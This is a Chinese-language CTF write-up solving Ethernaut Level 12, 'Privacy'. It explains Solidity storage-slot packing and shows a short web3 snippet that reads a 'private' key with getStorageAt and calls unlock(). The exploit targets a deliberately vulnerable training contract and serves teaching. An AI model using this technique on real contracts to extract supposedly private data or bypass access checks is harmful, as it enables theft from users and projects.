# Ethernaut CTF Level 12 - Privacy ## 題目 這個合約的開發者非常小心的保護了 storage 敏感資料的區域. 把這個合約解鎖就可以通關喔! 這些可能有幫助: * 理解 storage 是如何運作的 * 理解 parameter parsing 的原理 * 理解 casting 的原理 小技巧: * 記住 Metamask 只是個基本的日常工具. 如果使用 Metamask 有遇到問題或障礙,可以試試看使用別的工具。在後面比較困難的關卡,應該會用到包括 Remix、Web3 的操作。 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ } ``` <br> ## 分析 跟前面的[Level 8](https://hackmd.io/@0xbc000/BkitIP3UT)很類似 但這個contract有比較多的變數會用到slot儲存概念 1. locked(bool)會佔用一個slot。 1. ID(uint256)會單獨佔用一個slot。 1. flattening(uint8)/ denomination(uint8)/ awkwardness(uint16)將一起被打包在同一個slot中 - 因為它們加起來的總大小(32位)遠小於一個槽位(256位)的大小。 3. data數組的每個元素(bytes32)將分別佔用一個槽位。 根據這個分佈,data[2]應該會在第6個槽位 <br> ## 攻擊 ```javascript key = await web3.eth.getStorageAt(instance, 5).then(v => v.slice(0, 34)) "0x7ff6093eb6e0c0da47b661ab1f61103b" await contract.unlock(key) ``` ## 補充 From Ethernaut 在以太坊上,資訊都是公開的,沒有什麽資訊是能夠被隱藏的。private 關鍵字只是 solidity 語言中,一個對於變數和函式封裝的的概念。 使用 Web3 的 getStorageAt(...) 就可以讀取 storage 中的任何資料,雖然讀取有些資料的時候會比較麻煩,這是為了在盡可能壓縮 storage 使用空間的時候, solidity 用到了不少最佳化的技術。 但其實也不會比這個關卡中你遇到的問題複雜到哪裡去。 更多的訊息,可以參見 Darius 寫的這篇超棒的文章: How to read Ethereum contract storage